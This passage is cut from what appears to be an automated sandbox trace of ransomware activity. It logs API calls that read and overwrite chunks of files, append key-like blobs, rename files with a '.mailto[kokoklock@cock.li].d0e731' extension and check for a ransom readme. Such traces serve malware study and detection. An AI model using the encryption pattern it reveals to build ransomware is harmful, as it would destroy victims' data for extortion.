dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0060.327] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x6bafb1c | out: lpFileSize=0x6bafb1c*=181483595) returned 1 [0060.327] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0xad13847, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.327] ReadFile (in: hFile=0x584, lpBuffer=0x6bafaf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6bafaec, lpOverlapped=0x0 | out: lpBuffer=0x6bafaf0*, lpNumberOfBytesRead=0x6bafaec*=0x4, lpOverlapped=0x0) returned 1 [0060.356] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e48a0 [0060.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4788 [0060.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4a30 [0060.356] NtQuerySystemTime (in: CurrentTime=0x6bafac8 | out: CurrentTime=0x6bafac8*=132121176182426106) returned 0x0 [0060.356] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x74e970be [0060.356] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xb5bf0a4f [0060.356] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x8789c05c [0060.356] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x75e0f84c [0060.356] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xce3bc8e2 [0060.356] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x975b8484 [0060.356] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x4241c053 [0060.356] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x27d69d89 [0060.356] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x1f6b15bb [0060.356] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xb49f56ef [0060.356] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xdd184d53 [0060.356] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x7fee29df [0060.356] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xdb38b40f [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x803ffe1d [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x86a7d934 [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x426c7068 [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xee633fb6 [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xf180e63c [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xf48fd83c [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xcd12c9d8 [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xd6c230a0 [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xcd4a86d5 [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x79991d54 [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xc4a3ae0 [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x1c01063d [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x7caf347c [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xc185d98c [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x60381d3f [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0xa4aa65b2 [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x9e68c2cd [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x9729884e [0060.357] RtlRandom (in: Seed=0x6bafad4 | out: Seed=0x6bafad4) returned 0x776d4fd2 [0060.365] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47b0 [0060.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4bc0 [0060.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e48a0) returned 1 [0060.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34798d0 [0060.368] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.368] ReadFile (in: hFile=0x584, lpBuffer=0x34798d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6bafa88, lpOverlapped=0x0 | out: lpBuffer=0x34798d0*, lpNumberOfBytesRead=0x6bafa88*=0x4096, lpOverlapped=0x0) returned 1 [0060.405] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdaf0 [0060.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3420848 [0060.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4850 [0060.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4850) returned 1 [0060.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3485ab0 [0060.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4968 [0060.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4850 [0060.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4850) returned 1 [0060.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3420848) returned 1 [0060.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdaf0) returned 1 [0060.405] WriteFile (in: hFile=0x584, lpBuffer=0x3485ab0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6bafa88, lpOverlapped=0x0 | out: lpBuffer=0x3485ab0*, lpNumberOfBytesWritten=0x6bafa88*=0x4096, lpOverlapped=0x0) returned 1 [0060.406] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3485ab0) returned 1 [0060.406] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x568d036, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.406] ReadFile (in: hFile=0x584, lpBuffer=0x34798d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6bafa88, lpOverlapped=0x0 | out: lpBuffer=0x34798d0*, lpNumberOfBytesRead=0x6bafa88*=0x4096, lpOverlapped=0x0) returned 1 [0060.444] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x568d036, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.444] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.444] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.444] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4ad0 [0060.444] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4ad0) returned 1 [0060.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4ad0 [0060.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4af8 [0060.445] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4af8) returned 1 [0060.445] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.445] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.445] WriteFile (in: hFile=0x584, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6bafa88, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x6bafa88*=0x4096, lpOverlapped=0x0) returned 1 [0060.445] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.445] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0xad0f7b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.445] ReadFile (in: hFile=0x584, lpBuffer=0x34798d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6bafa88, lpOverlapped=0x0 | out: lpBuffer=0x34798d0*, lpNumberOfBytesRead=0x6bafa88*=0x4096, lpOverlapped=0x0) returned 1 [0060.460] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0xad0f7b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4af8 [0060.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4af8) returned 1 [0060.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0060.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4af8 [0060.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e18 [0060.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e18) returned 1 [0060.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.461] WriteFile (in: hFile=0x584, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6bafa88, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x6bafa88*=0x4096, lpOverlapped=0x0) returned 1 [0060.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0060.461] WriteFile (in: hFile=0x584, lpBuffer=0x33e4968*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6bafae4, lpOverlapped=0x0 | out: lpBuffer=0x33e4968*, lpNumberOfBytesWritten=0x6bafae4*=0x20, lpOverlapped=0x0) returned 1 [0060.461] WriteFile (in: hFile=0x584, lpBuffer=0x33e4ad0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6bafae4, lpOverlapped=0x0 | out: lpBuffer=0x33e4ad0*, lpNumberOfBytesWritten=0x6bafae4*=0x20, lpOverlapped=0x0) returned 1 [0060.461] WriteFile (in: hFile=0x584, lpBuffer=0x33e4af8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6bafae4, lpOverlapped=0x0 | out: lpBuffer=0x33e4af8*, lpNumberOfBytesWritten=0x6bafae4*=0x20, lpOverlapped=0x0) returned 1 [0060.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798d0) returned 1 [0060.461] WriteFile (in: hFile=0x584, lpBuffer=0x33e4bc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6bafaec, lpOverlapped=0x0 | out: lpBuffer=0x33e4bc0*, lpNumberOfBytesWritten=0x6bafaec*=0x8, lpOverlapped=0x0) returned 1 [0060.461] WriteFile (in: hFile=0x584, lpBuffer=0x6bafb04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6bafaec, lpOverlapped=0x0 | out: lpBuffer=0x6bafb04*, lpNumberOfBytesWritten=0x6bafaec*=0x4, lpOverlapped=0x0) returned 1 [0060.461] WriteFile (in: hFile=0x584, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6bafaec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x6bafaec*=0x4, lpOverlapped=0x0) returned 1 [0060.461] WriteFile (in: hFile=0x584, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6bafaec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x6bafaec*=0x6c, lpOverlapped=0x0) returned 1 [0060.461] WriteFile (in: hFile=0x584, lpBuffer=0x33e4788*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6bafaec, lpOverlapped=0x0 | out: lpBuffer=0x33e4788*, lpNumberOfBytesWritten=0x6bafaec*=0x20, lpOverlapped=0x0) returned 1 [0060.462] WriteFile (in: hFile=0x584, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6bafaec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x6bafaec*=0x4, lpOverlapped=0x0) returned 1 [0060.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4788) returned 1 [0060.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e47b0) returned 1 [0060.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4bc0) returned 1 [0060.462] CloseHandle (hObject=0x584) returned 1 [0077.972] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x348c000 [0077.972] wcscpy (in: _Dest=0x348c000, _Source="C:\\588bce7c90097ed212\\netfx_Core.mzz" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned="C:\\588bce7c90097ed212\\netfx_Core.mzz" [0077.972] wcscat (in: _Dest=0x348c000, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731" [0077.972] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.973] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0077.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c000) returned 1 [0077.973] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz", dwFileAttributes=0x80) returned 0 [0077.974] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3482098 [0077.974] wcscpy (in: _Dest=0x3482098, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0077.974] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0077.974] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0077.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0077.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c04a0) returned 1 [0077.974] RtlExitUserThread (Status=0x1) Thread: id = 63 os_tid = 0xd34 [0060.338] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0060.339] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz", dwFileAttributes=0x20) returned 1 [0060.339] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x59c [0060.339] GetFileSizeEx (in: hFile=0x59c, lpFileSize=0x6c2fccc | out: lpFileSize=0x6c2fccc*=43131591) returned 1 [0060.339] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x29222c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.339] ReadFile (in: hFile=0x59c, lpBuffer=0x6c2fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6c2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x6c2fca0*, lpNumberOfBytesRead=0x6c2fc9c*=0x4, lpOverlapped=0x0) returned 1 [0060.341] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4788 [0060.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4b20 [0060.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4b98 [0060.341] NtQuerySystemTime (in: CurrentTime=0x6c2fc78 | out: CurrentTime=0x6c2fc78*=132121176182269586) returned 0x0 [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x648976c9 [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xbcddd6cf [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x9ad78618 [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x41c970ad [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xf95e030a [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xb78bb6c0 [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xc393259e [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x46f4c8ac [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x55da2290 [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x86726afe [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x42a32de9 [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xb9014e7 [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x48333e87 [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xa3df38da [0060.341] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xb8c1ccbe [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x933a4bc9 [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xc298c921 [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x70309afc [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x7b66a71b [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xfa1b2a1 [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xe3eae6af [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x768b701f [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xd020f6ef [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xb6022bd9 [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x5c38143b [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x2ceedb32 [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x513e0e5f [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xc30796cd [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xb70aa441 [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x17f06899 [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0x9d7c7ab8 [0060.342] RtlRandom (in: Seed=0x6c2fc84 | out: Seed=0x6c2fc84) returned 0xb1fa57d0 [0060.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0060.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0060.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4788) returned 1 [0060.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0060.353] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.353] ReadFile (in: hFile=0x59c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6c2fc38, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x6c2fc38*=0x4096, lpOverlapped=0x0) returned 1 [0060.400] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd670 [0060.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x341dea0 [0060.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4968 [0060.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4968) returned 1 [0060.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3485ab0 [0060.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4aa8 [0060.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4ad0 [0060.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4ad0) returned 1 [0060.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341dea0) returned 1 [0060.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd670) returned 1 [0060.402] WriteFile (in: hFile=0x59c, lpBuffer=0x3485ab0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6c2fc38, lpOverlapped=0x0 | out: lpBuffer=0x3485ab0*, lpNumberOfBytesWritten=0x6c2fc38*=0x4096, lpOverlapped=0x0) returned 1 [0060.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3485ab0) returned 1 [0060.402] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x1493ca6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.402] ReadFile (in: hFile=0x59c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6c2fc38, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x6c2fc38*=0x4096, lpOverlapped=0x0) returned 1 [0060.411] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x1493ca6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4ad0 [0060.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4ad0) returned 1 [0060.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x347d970 [0060.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4850 [0060.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e48a0 [0060.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e48a0) returned 1 [0060.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.412] WriteFile (in: hFile=0x59c, lpBuffer=0x347d970*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6c2fc38, lpOverlapped=0x0 | out: lpBuffer=0x347d970*, lpNumberOfBytesWritten=0x6c2fc38*=0x4096, lpOverlapped=0x0) returned 1 [0060.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d970) returned 1 [0060.412] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x291e231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.412] ReadFile (in: hFile=0x59c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6c2fc38, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x6c2fc38*=0x4096, lpOverlapped=0x0) returned 1 [0060.412] SetFilePointerEx (in: hFile=0x59c, liDistanceToMove=0x291e231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4ad0 [0060.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4ad0) returned 1 [0060.413] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x347d970 [0060.413] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e48a0 [0060.413] RtlAllocateHeap 